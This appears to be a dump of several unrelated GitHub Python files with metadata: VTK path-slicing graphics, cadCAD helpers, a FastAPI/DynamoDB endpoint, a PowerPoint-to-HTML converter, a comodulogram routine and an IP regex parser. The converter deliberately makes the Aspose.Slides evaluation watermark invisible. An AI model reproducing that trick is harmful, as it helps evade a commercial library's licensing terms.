"cryptotrader.const.CANCELLED", "line_number": 157, "usage_type": "attribute"}, {"api_name": "cryptotrader.const", "line_number": 157, "usage_type": "name"}, {"api_name": "async_generator.asynccontextmanager", "line_number": 170, "usage_type": "name"}, {"api_name": "cryptotrader.common.make_schedule", "line_number": 186, "usage_type": "call"}, {"api_name": "click.group", "line_number": 204, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 212, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 210, "usage_type": "attribute"}]} +{"seq_id": "16058159050", "text": "#!/usr/bin/env python\n\nimport logging\nfrom manage import get_logger_name\nimport numpy as np\nfrom os import path\nfrom path import Path\nimport vtk\n\nclass MouseInteractorStyle(vtk.vtkInteractorStyleTrackballCamera):\n\n def __init__(self, graphics):\n #self.AddObserver(\"LeftButtonPressEvent\", self.leftButtonPressEvent)\n self.AddObserver(\"KeyPressEvent\", self.onKeyPressEvent)\n self.AddObserver(\"CharEvent\", self.onCharEvent)\n self.graphics = graphics\n self.selected_points = []\n self.sphere = None\n\n def leftButtonPressEvent(self, obj, event):\n '''Process left mouse button press.\n '''\n print(\"leftButtonPressEvent: \")\n clickPos = self.GetInteractor().GetEventPosition()\n\n # vtk.vtkCellPicker() does not select path lines.\n #picker = vtk.vtkCellPicker()\n picker = vtk.vtkPropPicker()\n picker.Pick(clickPos[0], clickPos[1], 0, self.renderer)\n #picker.SetTolerance(0.0001)\n if picker.GetActor() == None:\n return\n\n position = picker.GetPickPosition()\n print(\" position: \" + str(position))\n\n if self.sphere == None:\n sphere = vtk.vtkSphereSource()\n sphere.SetCenter(position[0], position[1], position[2])\n sphere.SetRadius(0.1)\n sphere.Update()\n polydata = sphere.GetOutput()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(polydata)\n mapper.ScalarVisibilityOff()\n actor = vtk.vtkActor()\n actor.SetMapper(mapper)\n actor.GetProperty().SetRepresentationToWireframe()\n actor.GetProperty().SetColor(0.0, 1.0, 0.0)\n self.graphics.add_actor(actor)\n self.sphere = sphere\n\n self.sphere.SetCenter(position[0], position[1], position[2])\n self.sphere.Update()\n\n ## Get path data at the selected point.\n for path in self.graphics.paths:\n path_data = path.select(position)\n print(\" path data: \")\n print(\" id: %s\" % path_data.id)\n print(\" index: %d\" % path_data.index)\n print(\" point: %s\" % str(path_data.point))\n print(\" tangent: %s\" % str(path_data.tangent))\n print(\" rotation: %s\" % str(path_data.rotation))\n self.show_path_data(path_data)\n self.graphics.image.extract_slice(path_data)\n self.graphics.model.extract_slice(path_data)\n\n self.graphics.window.Render()\n\n return\n\n def show_path_data(self, path_data):\n '''Show path geometric data.\n '''\n # Show tangent.\n s = 1.0\n pt1 = path_data.point\n tangent = path_data.tangent\n tangent = np.array(path_data.tangent)\n pt2 = [(pt1[j]+s*tangent[j]) for j in range(0,3)]\n self.graphics.add_line(pt1, pt2, width=5)\n\n # Show normal.\n normal = np.array(path_data.rotation)\n pt2 = [(pt1[j]+s*normal[j]) for j in range(0,3)]\n self.graphics.add_line(pt1, pt2, color=[0.0,1.0,0.0], width=5)\n\n # Show binormal.\n binormal = np.cross(tangent, normal)\n pt2 = [(pt1[j]+s*binormal[j]) for j in range(0,3)]\n self.graphics.add_line(pt1, pt2, color=[1.0,1.0,0.0], width=5)\n\n def onCharEvent(self, renderer, event):\n ''' Process an on char event.\n\n This is used to prevent passing the shortcut key 'w' to vtk which we use\n to write selected results and vtk uses to switch to wireframe display. \n '''\n key = self.GetInteractor().GetKeySym()\n if (key != 'w'):\n self.OnChar()\n \n def onKeyPressEvent(self, renderer, event):\n ''' Process a key press event.\n '''\n key = self.GetInteractor().GetKeySym()\n\n if (key == 's'):\n self.leftButtonPressEvent(None, event)\n elif (key == 'a'):\n self.graphics.auto_slice()\n elif (key == 'f'):\n self.fix()\n\n #__def onKeyPressEvent\n\n#__class MouseInteractorStyle\n\nclass Graphics(object):\n\n def __init__(self, params, enabled=True):\n self.renderer = None\n self.window = None\n self.enabled = enabled\n self.interactor = None\n self.image = None\n self.model = None\n self.paths = None\n self.parameters = params\n self.logger = logging.getLogger(get_logger_name())\n self.initialize_graphics()\n\n def add_actor(self, actor):\n if not self.enabled:\n return\n self.renderer.AddActor(actor)\n\n def initialize_graphics(self):\n ''' Create renderer and graphics window.\n '''\n if not self.enabled:\n return\n self.renderer = vtk.vtkRenderer()\n self.window = vtk.vtkRenderWindow()\n self.window.AddRenderer(self.renderer)\n self.renderer.SetBackground(0.5, 0.5, 0.5)\n self.window.SetSize(1500, 1500)\n #self.window.Render()\n\n # Create a trackball interacter to transoform the geometry using the mouse.\n self.interactor = vtk.vtkRenderWindowInteractor()\n self.interactor.SetInteractorStyle(vtk.vtkInteractorStyleTrackballCamera())\n self.interactor.SetRenderWindow(self.window)\n\n # Add the custom style.\n style = MouseInteractorStyle(self)\n style.renderer = self.renderer\n style.graphics = self\n self.interactor.SetInteractorStyle(style)\n style.SetCurrentRenderer(self.renderer)\n\n def add_line(self, pt1, pt2, color=[1.0, 1.0, 1.0], width=2):\n lineSource = vtk.vtkLineSource()\n lineSource.SetPoint1(pt1);\n lineSource.SetPoint2(pt2)\n lineSource.Update()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(lineSource.GetOutput())\n actor = vtk.vtkActor()\n actor.SetMapper(mapper)\n actor.GetProperty().SetLineWidth(width)\n actor.GetProperty().SetColor(color[0], color[1], color[2])\n self.add_actor(actor)\n\n def add_sphere(self, center, radius=1.0, color=[1.0,1.0,1.0]):\n if not self.enabled:\n return\n sphere = vtk.vtkSphereSource()\n sphere.SetCenter(center[0], center[1], center[2])\n sphere.SetRadius(radius)\n sphere.Update()\n polydata = sphere.GetOutput()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(polydata)\n mapper.ScalarVisibilityOff()\n actor = vtk.vtkActor()\n actor.SetMapper(mapper)\n #actor.GetProperty().SetRepresentationToWireframe()\n actor.GetProperty().SetColor(color[0], color[1], color[2])\n self.renderer.AddActor(actor)\n\n def add_graphics_geometry(self, poly_data, color, sphere=False):\n if not self.enabled:\n return None\n gr_geom = self.create_graphics_geometry(poly_data, sphere)\n gr_geom.GetProperty().SetColor(color[0], color[1], color[2])\n #gr_geom.GetProperty().SetRepresentationToWireframe()\n gr_geom.GetProperty().SetEdgeColor(0.0, 0.0, 0.0)\n gr_geom.GetProperty().EdgeVisibilityOn()\n self.renderer.AddActor(gr_geom)\n self.window.Render()\n self.window.SetWindowName(\"Extract Faces\")\n return gr_geom \n\n def show(self):\n if not self.enabled:\n return\n self.window.Render()\n self.window.SetWindowName(\"Image Slice\")\n self.interactor.Start()\n\n def auto_slice(self):\n '''Generate slices along a path.\n '''\n print(\" \")\n print(\"---------- Automatically Extract Slices ----------\")\n slice_increment = self.parameters.slice_increment\n for path in self.paths:\n print(\"path id: \" + str(path.id))\n for elem_id, element in enumerate(path.elements):\n print(\"element id: \" + str(elem_id))\n point_ids = path.get_point_ids(self.parameters, element)\n #point_ids = element.ids[::slice_increment]\n for point_id in point_ids:\n #print(\"point id: \" + str(point_id))\n path_data = path.get_data(elem_id, int(point_id))\n self.image.extract_slice(path_data)\n self.model.extract_slice(path_data)\n\n if self.enabled:\n self.window.Render()\n\nclass ClickInteractorStyle(vtk.vtkInteractorStyleTrackballCamera):\n def __init__(self, graphics):\n self.graphics = graphics\n self.AddObserver(\"KeyPressEvent\", self.onKeyPressEvent)\n\n def onKeyPressEvent(self, renderer, event): \n key = self.GetInteractor().GetKeySym()\n if key == 'c':\n pass \n\n\n", "repo_name": "ktbolt/cardiovascular", "sub_path": "extract-2d-images/python/graphics.py", "file_name": "graphics.py", "file_ext": "py", "file_size_in_byte": 8628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "86", "api": [{"api_name": "vtk.vtkInteractorStyleTrackballCamera", "line_number": 10, "usage_type": "attribute"}, {"api_name": "vtk.vtkPropPicker", "line_number": 28, "usage_type": "call"}, {"api_name": "vtk.vtkSphereSource", "line_number": 38, "usage_type": "call"}, {"api_name": "vtk.vtkPolyDataMapper", "line_number": 43, "usage_type": "call"}, {"api_name": "vtk.vtkActor", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "name"}, {"api_name": "os.path.select", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 90, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 131, "usage_type": "call"}, {"api_name": "manage.get_logger_name", "line_number": 131, "usage_type": "call"}, {"api_name": "vtk.vtkRenderer", "line_number": 144, "usage_type": "call"}, {"api_name": "vtk.vtkRenderWindow", "line_number": 145, "usage_type": "call"}, {"api_name": "vtk.vtkRenderWindowInteractor", "line_number": 152, "usage_type": "call"}, {"api_name": "vtk.vtkInteractorStyleTrackballCamera", "line_number": 153, "usage_type": "call"}, {"api_name": "vtk.vtkLineSource", "line_number": 164, "usage_type": "call"}, {"api_name": "vtk.vtkPolyDataMapper", "line_number": 168, "usage_type": "call"}, {"api_name": "vtk.vtkActor", "line_number": 170, "usage_type": "call"}, {"api_name": "vtk.vtkSphereSource", "line_number": 179, "usage_type": "call"}, {"api_name": "vtk.vtkPolyDataMapper", "line_number": 184, "usage_type": "call"}, {"api_name": "vtk.vtkActor", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 219, "usage_type": "name"}, {"api_name": "os.path.id", "line_number": 220, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 220, "usage_type": "name"}, {"api_name": "os.path.elements", "line_number": 221, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 221, "usage_type": "name"}, {"api_name": "os.path.get_point_ids", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path", "line_number": 223, "usage_type": "name"}, {"api_name": "os.path.get_data", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "name"}, {"api_name": "vtk.vtkInteractorStyleTrackballCamera", "line_number": 234, "usage_type": "attribute"}]} +{"seq_id": "44404028607", "text": "# Custom cadCAD type classes\n######################################################################################\nfrom enum import Enum, auto\nimport numpy as np\n\nclass StateType(Enum):\n @classmethod\n def initial_state(cls):\n _members = {}\n for item in cls.__members__:\n _members[cls[item]] = 0\n return _members\n \n def initial_conditions(cls):\n print(\"initial_conditions not implemented\")\n\nclass ActionsType(Enum):\n def __init__(self, *args, **kwargs):\n pass\n \n def method(self, *args):\n method = getattr(self.__class__, '_%s' % self.name)\n return method(*args)\n\nclass PoliciesType:\n def list(self):\n policies = [func for func in dir(self) \n if (callable(getattr(self, func)) \n and func != 'list' \n and func.find('_'))]\n returnVal = {}\n for func in policies: returnVal[func] = getattr(self, func)\n return returnVal\n \n######################################################################################\n \n# Utility functions\n######################################################################################\n\ndef id():\n return uuid.uuid4().int & (1<<64)-1\n\ndef bollinger_bands(value, window_size, num_of_std):\n\n rolling_mean = value.rolling(window=window_size).mean()\n rolling_std = value.rolling(window=window_size).std()\n upper_band = rolling_mean + (rolling_std*num_of_std)\n lower_band = rolling_mean - (rolling_std*num_of_std)\n\n return rolling_mean, upper_band, lower_band\n\ndef get_node_ids_of_type(network, _type):\n return [x for x,y in network.nodes(data=True) if y['_type']==_type]\n\ndef pad(vec, length,fill=True):\n\n if fill:\n padded = np.zeros(length,)\n else:\n padded = np.empty(length,)\n padded[:] = np.nan\n \n for i in range(len(vec)):\n padded[i]= vec[i]\n \n return padded\n\ndef make2D(key, data, fill=False):\n maxL = data[key].apply(len).max()\n newkey = 'padded_'+key\n data[newkey] = data[key].apply(lambda x: pad(x,maxL,fill))\n reshaped = np.array([a for a in data[newkey].values])\n \n return reshaped", "repo_name": "BenSchZA/system-modelling-scratchpad", "sub_path": "jupyter-lab-environment/workspace/helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 2192, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "enum.Enum", "line_number": 6, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "13647849112", "text": "import boto3\nimport os\nimport requests\nfrom fastapi import FastAPI,Path, Response, status,HTTPException\nfrom pydantic import BaseModel\n\n\ndynamo_client = boto3.resource(service_name = 'dynamodb',region_name = 'us-east-1',\n aws_access_key_id = 'XXXX',\n aws_secret_access_key = 'XXXX')\n\nmovie_table = dynamo_client.Table('Movies')\n\napp=FastAPI()\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Hello World\"}\n\n\n# class Movie(BaseModel):\n# Title:str\n# year: str\n@app.post(\"/items/\")\nasync def create_item(title:str,year:str):\n item={\"Title\":title,\"Year\":year}\n\n movie_table.put_item(Item = item)\n return({\"message\":\"movie \"+title+\" added\"})", "repo_name": "prateekshajha/FastAPI_DynamoDB", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "boto3.resource", "line_number": 8, "usage_type": "call"}, {"api_name": "fastapi.FastAPI", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "30130598153", "text": "#from _typeshed import FileDescriptorLike\r\nfrom pptx import Presentation\r\nfrom pptx.util import Cm, Pt\r\nfrom pptx.dml.color import RGBColor\r\n\r\nimport aspose.slides as asp_slides\r\nimport bs4\r\n\r\nimport os, shutil\r\n#import glob # for filename opening\r\n\r\ndef html_slides_creator(powerpointFile, fileName):\r\n cwd = os.getcwd()\r\n print(\"Sheeesh CWD: \",cwd)\r\n prsDir = cwd+'/tempPowerpointSlides/'\r\n\r\n prs = Presentation(powerpointFile)\r\n #slide index starts from 0\r\n slide_counter = 0\r\n slides_sum = len(prs.slides)\r\n tempNames=[]\r\n ##xml_slides.remove(slides[3])\r\n\r\n while slide_counter < slides_sum:\r\n prs = Presentation(powerpointFile)\r\n xml_slides = prs.slides._sldIdLst\r\n slides = list((xml_slides))\r\n \r\n for i in range(slides_sum-1,slide_counter,-1):\r\n xml_slides.remove(slides[i])\r\n\r\n for i in range(0,slide_counter,1):\r\n xml_slides.remove(slides[i])\r\n prs.save(prsDir+fileName+\"_\"+ str(slide_counter) +'.pptx')\r\n slide_counter+=1\r\n tempNames.append(fileName+\"_\"+ str(slide_counter-1) +'.pptx')\r\n print(\"tempNames: \",tempNames)\r\n\r\n\r\n # Instantiate a Presentation object that represents a PPT file\r\n #Presentations slides dir\r\n pptxFileCounter = len(tempNames)-1\r\n\r\n try:\r\n for file in tempNames: #tempNames has the .pptx extension with it\r\n print(\"FILE: \", file)\r\n if (os.path.isfile(prsDir+file)):\r\n presentation = asp_slides.Presentation(prsDir+file) \r\n\r\n filename=file.rsplit('.', 1)[0]#remove the .pptx extension of the file for the correct filename\r\n print(\"CORECT FILENAME: \", filename)\r\n\r\n saveHTML=cwd+\"/templates/slides/\"+fileName+\"/\"+filename+\".html\"\r\n path=cwd+\"/templates/slides/\"+fileName+\"/\"\r\n\r\n #if file not exists create it!\r\n if not os.path.exists(path):\r\n os.mkdir(path)\r\n print(\"Directory \" , path , \" Created \")\r\n else: \r\n print(\"Directory \" , path , \" already exists\")\r\n\r\n presentation.save(saveHTML, asp_slides.export.SaveFormat.HTML)\r\n\r\n # load the file\r\n with open(saveHTML,\"r\",encoding=\"cp437\", errors='ignore') as htmlFile: #or utf-8 with html5lib and no delete empty par but delete text of body\r\n txt = htmlFile.read()\r\n soup = bs4.BeautifulSoup(txt, \"lxml\")\r\n watermark = soup.find('text',{'x':'388.125','y':'229.78125'}) #remove watermark by making it invisible IF we want we can actually delete it\r\n watermark['fill-opacity'] = '0.0'\r\n scale = soup.find('svg')\r\n\r\n #This resolution will scale for every user that tries load the slide based on the screen resolution that the browser is currently open\r\n scale['width']=\"1920\" #standard resolution for most pc's monitors\r\n scale['height']=\"1080\"\r\n scale['id']=\"svg_scale\"\r\n\r\n script_tag = soup.new_tag(\"script\")\r\n script_tag[\"src\"]=\"{{url_for('static', filename='js/slideRescale.js')}}\"\r\n\r\n par = soup.find('p')\r\n par.decompose() #delete empty par base on lxml encoding!\r\n trash = soup.find(' ')\r\n body = soup.body #delete margin to have correct resolution!\r\n body.append(soup.new_tag('style', type='text/css'))\r\n body.style.append('body {margin:0;padding:0}')\r\n body[\"onload\"]=\"rescale();\" #rescale js function according to the resolution of the user!\r\n body.insert(1,script_tag)#add script location before body of html! \r\n\r\n\r\n\r\n svg_canvas_group = soup.find('g',{'pointer-events':'painted'})\r\n\r\n svg_canvas_group.append(soup.new_tag('foreignObject'))\r\n foreignObject = soup.foreignObject\r\n foreignObject[\"x\"]=\"800\"\r\n foreignObject[\"y\"]=\"520\"\r\n foreignObject[\"width\"]=\"150\"\r\n foreignObject[\"height\"]=\"25\"\r\n\r\n #Go to next slide\r\n #get current slide number\r\n print(\"fileName: \",fileName+\"_\")\r\n curSlide = int(filename.replace(fileName+\"_\",\"\"))\r\n print(\"curSlide:\",curSlide)\r\n if curSlide == pptxFileCounter: #if its the last slide return to start\r\n prevSlide = curSlide-1\r\n nextLoc = fileName+\"_\" + \"0\" + \".html\" \r\n prevLoc = fileName+\"_\" + str(prevSlide) + \".html\"\r\n elif curSlide==0:#if its the first slide no back stay the same\r\n nextSlide = curSlide+1\r\n nextLoc = fileName+\"_\" + str(nextSlide) + \".html\"\r\n prevLoc = fileName+\"_\" + \"0\" + \".html\"\r\n else:\r\n nextSlide = curSlide+1\r\n prevSlide = curSlide-1\r\n nextLoc = fileName+\"_\" + str(nextSlide) + \".html\"\r\n prevLoc = fileName+\"_\" + str(prevSlide) + \".html\"\r\n\r\n btnExitSlide=soup.new_tag('a',role='button')\r\n btnExitSlide[\"href\"]=\"/synopsis/canceled/cancel\"\r\n btnExitSlide.append(soup.new_tag('style', type='text/css'))\r\n exit_img = soup.new_tag('img', src=\"{{ url_for('static', filename='exit.png') }}\", width=\"20\", height=\"20\")\r\n btnExitSlide.append(exit_img)\r\n foreignObject.append(btnExitSlide)\r\n\r\n if curSlide != 0: #IF ITS NOT THE FIRST SLIDE\r\n btnPrevSlide=soup.new_tag('a', role='button')\r\n btnPrevSlide[\"href\"]=\"/slides/\"+fileName+\"/\"+ prevLoc+\"/bck\"\r\n btnPrevSlide.append(soup.new_tag('style', type='text/css'))\r\n btnPrevSlide.style.append('a {margin:2;}')# if i leave it as button it will interact with all button named elements if i dont want htat i should change the tag name above at 109 and here\r\n prev_img = soup.new_tag('img', src=\"{{ url_for('static', filename='prev.png') }}\", width=\"20\", height=\"20\")\r\n btnPrevSlide.append(prev_img)\r\n foreignObject.append(btnPrevSlide)\r\n\r\n if curSlide != pptxFileCounter: #IF ITS NOT THE LAST SLIDE\r\n btnNextSlide=soup.new_tag('a',role='button')\r\n btnNextSlide[\"href\"]=\"/slides/\"+fileName+\"/\"+ nextLoc+\"/fwd\"\r\n btnNextSlide.append(soup.new_tag('style', type='text/css'))\r\n next_img = soup.new_tag('img', src=\"{{ url_for('static', filename='next.png') }}\", width=\"20\", height=\"20\")\r\n btnNextSlide.append(next_img)\r\n foreignObject.append(btnNextSlide)\r\n\r\n if curSlide == pptxFileCounter: #if its the last slide add the start synopsis button!\r\n btnDoneSlide=soup.new_tag('a',role='button')\r\n btnDoneSlide[\"href\"]=\"/synopsis/\"+fileName+\"_\"+str(curSlide)+\"/start\"\r\n btnDoneSlide.append(soup.new_tag('style', type='text/css'))\r\n check_img = soup.new_tag('img', src=\"{{ url_for('static', filename='check.png') }}\", width=\"20\", height=\"20\")\r\n btnDoneSlide.append(check_img)\r\n foreignObject.append(btnDoneSlide)\r\n\r\n sldTitle = soup.findAll('div',{'class':'slideTitle'})\r\n for title in sldTitle:\r\n title.decompose() #remove slide the extra title div\r\n\r\n\r\n with open(saveHTML,\"w\",encoding=\"cp437\", errors='ignore') as htmlFile:\r\n htmlFile.write(str(soup))\r\n except Exception as e:\r\n #Delete files from tempSlides Folder if an error occurs!\r\n\r\n for temp_pptxSlide in tempNames:\r\n file_path = os.path.join(prsDir, temp_pptxSlide)\r\n try:\r\n if os.path.isfile(file_path) or os.path.islink(file_path):\r\n os.unlink(file_path)\r\n elif os.path.isdir(file_path):\r\n shutil.rmtree(file_path)\r\n except Exception as e:\r\n print('Failed to delete %s. Reason: %s' % (file_path, e))\r\n print(\"An error ocurred during the upload of \"+filename)\r\n print(e)\r\n return fileName+\"_\"+\".pptx\"\r\n else:\r\n #Delete files from tempSlides Folder if no exception happened\r\n\r\n for temp_pptxSlide in tempNames:\r\n file_path = os.path.join(prsDir, temp_pptxSlide)\r\n try:\r\n if os.path.isfile(file_path) or os.path.islink(file_path):\r\n os.unlink(file_path)\r\n elif os.path.isdir(file_path):\r\n shutil.rmtree(file_path)\r\n except Exception as e:\r\n print('Failed to delete %s. Reason: %s' % (file_path, e))\r\n return None", "repo_name": "Vazeagle/Thesis-Web-App-for-Powerpoint-Synopsis-Based-On-Ocular-Data-Analysis", "sub_path": "html_converter_buttons.py", "file_name": "html_converter_buttons.py", "file_ext": "py", "file_size_in_byte": 9323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.getcwd", "line_number": 13, "usage_type": "call"}, {"api_name": "pptx.Presentation", "line_number": 17, "usage_type": "call"}, {"api_name": "pptx.Presentation", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "aspose.slides.Presentation", "line_number": 48, "usage_type": "call"}, {"api_name": "aspose.slides", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 58, "usage_type": "call"}, {"api_name": "aspose.slides.export", "line_number": 63, "usage_type": "attribute"}, {"api_name": "aspose.slides", "line_number": 63, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 165, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path", "line_number": 167, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 180, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path", "line_number": 182, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 183, "usage_type": "call"}]} +{"seq_id": "25464755432", "text": "import itertools\n\nimport numpy as np\nimport pandas as pd\n\nfrom .signal import Signal\nfrom .metrics import _modulation_index\nfrom .util import indices_of_binned_phase\nfrom .filter_series import FilterSeries\n\n\ndef comodulogram(samples: np.ndarray, sampling_rate: float,\n slow_filters: FilterSeries,\n fast_filters: FilterSeries) -> pd.DataFrame:\n assert isinstance(slow_filters, FilterSeries)\n assert isinstance(fast_filters, FilterSeries)\n signal = Signal(samples, sampling_rate)\n # compute band-filtered phase of the slow component\n phases_by_freq = {\n band.center: signal.phase(band)\n for band in slow_filters\n }\n # Compute bin indices from the phase signals\n bin_idxs_by_freq = {\n center_freq: indices_of_binned_phase(phase)\n for center_freq, phase in phases_by_freq.items()\n }\n # compute band-filtered amplitudes of the fast component\n amps_by_freq = {\n band.center: signal.envelope(band)\n for band in fast_filters\n }\n # Average fast-band amplitudes within slow-band phase bins\n avg_amp_by_freqs = {\n (f_slow, f_fast): np.array([np.median(amp[idx]) for idx in idxs])\n for (f_slow, idxs), (f_fast, amp) in itertools.product(\n bin_idxs_by_freq.items(), amps_by_freq.items()\n )\n }\n # compute modulation indices from the average\n mi = {\n freqs: _modulation_index(amps)\n for freqs, amps in avg_amp_by_freqs.items()\n }\n s = pd.Series(data=mi)\n s.index.names = ['f_slow', 'f_fast']\n return s.unstack('f_slow')\n", "repo_name": "jusjusjus/phac-python", "sub_path": "phac/comodulogram.py", "file_name": "comodulogram.py", "file_ext": "py", "file_size_in_byte": 1588, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.ndarray", "line_number": 12, "usage_type": "attribute"}, {"api_name": "filter_series.FilterSeries", "line_number": 13, "usage_type": "name"}, {"api_name": "filter_series.FilterSeries", "line_number": 14, "usage_type": "name"}, {"api_name": "filter_series.FilterSeries", "line_number": 15, "usage_type": "argument"}, {"api_name": "filter_series.FilterSeries", "line_number": 16, "usage_type": "argument"}, {"api_name": "signal.Signal", "line_number": 17, "usage_type": "call"}, {"api_name": "signal.phase", "line_number": 20, "usage_type": "call"}, {"api_name": "util.indices_of_binned_phase", "line_number": 25, "usage_type": "call"}, {"api_name": "signal.envelope", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 35, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 36, "usage_type": "call"}, {"api_name": "metrics._modulation_index", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 14, "usage_type": "attribute"}]} +{"seq_id": "20276654711", "text": "\"\"\"\nCommon Parser Utilities\n=======================\n\nCollection of input parser utilities to extract IP addresses.\n\nThis includes common regex patterns and utilities for extracting IP addresses\nfor resolution.\n\n\"\"\"\n\nimport json\nimport os\nimport re\nimport sys\n\nfrom netaddr import IPAddress\n\n__author__ = \"Chapin Bryce\"\n__date__ = 20200107\n__license__ = \"MIT Copyright 2020 Chapin Bryce\"\n__desc__ = \"\"\"Yet another GeoIP resolution tool.\"\"\"\n\n# FROM https://gist.github.com/dfee/6ed3a4b05cfe7a6faf40a2102408d5d8\nIPV4SEG = r\"(?:25[0-5]|(?:2[0-4]|1{0,1}[0-9]){0,1}[0-9])\"\nIPV4ADDR = f\"(?:(?:{IPV4SEG}\" + r\"\\.){3,3}\" + IPV4SEG + r\")\"\n\nIPV6SEG = r\"(?:(?:[0-9a-fA-F]){1,4})\"\nIPV6GROUPS = (\n f\"(?:{IPV6SEG}\" + r\":){7,7}\" + IPV6SEG,\n f\"(?:{IPV6SEG}\" + r\":){1,7}:\",\n f\"(?:{IPV6SEG}\" + r\":){1,6}:\" + IPV6SEG,\n f\"(?:{IPV6SEG}\" + r\":){1,5}(?::\" + IPV6SEG + r\"){1,2}\",\n f\"(?:{IPV6SEG}\" + r\":){1,4}(?::\" + IPV6SEG + r\"){1,3}\",\n f\"(?:{IPV6SEG}\" + r\":){1,3}(?::\" + IPV6SEG + r\"){1,4}\",\n f\"(?:{IPV6SEG}\" + r\":){1,2}(?::\" + IPV6SEG + r\"){1,5}\",\n f\"{IPV6SEG}:(?:(?::{IPV6SEG}\" + r\"){1,6})\",\n f\":(?:(?::{IPV6SEG}\" + r\"){1,7}|:)\",\n f\"fe80:(?::{IPV6SEG}\" + r\"){0,4}%[0-9a-zA-Z]{1,}\",\n r\"::(?:ffff(?::0{1,4}){0,1}:){0,1}[^\\s:]\" + IPV4ADDR,\n f\"(?:{IPV6SEG}\" + r\":){1,4}:[^\\s:]\" + IPV4ADDR,\n)\n\n# Reverse rows for greedy match\nIPV6ADDR = \"|\".join(f\"(?:{g})\" for g in IPV6GROUPS[::-1])\n\nIPv4Pattern = re.compile(IPV4ADDR)\nIPv6Pattern = re.compile(IPV6ADDR)\n\n\ndef run_parser_from_cli(args, parser_obj): # pragma: no cover\n \"\"\"Allow a parser to run from the command line, both for testing and increased usability.\"\"\"\n if os.path.isdir(args.path):\n for root, _, files in os.walk(args.path):\n for fentry in files:\n parser_obj.parse_file(os.path.join(root, fentry))\n else:\n parser_obj.parse_file(args.path)\n sys.stderr.write(\n f\"{len(parser_obj.ips)} unique IPs discovered, shown below with their frequency.\\n\"\n )\n for ip, count in parser_obj.ips.items():\n print(json.dumps({\"count\": count, \"ip\": ip}))\n\n\nclass ParserBase:\n \"\"\"Base class for parsers, containing common utilities.\"\"\"\n\n def __init__(self, ignore_bogon=True):\n \"\"\"Configure the parser and set default values.\"\"\"\n self.ignore_bogon = ignore_bogon\n self.ips = {}\n\n def check_ips(self, data):\n \"\"\"Check data for IP addresses. Results stored in ``self.ips``.\n\n Args:\n data (str): String to search for IP address content.\n\n Returns:\n None\n \"\"\"\n for ipv4 in IPv4Pattern.findall(data):\n if self.ignore_bogon and self.is_bogon(ipv4):\n continue\n if ipv4 not in self.ips:\n self.ips[ipv4] = 0\n 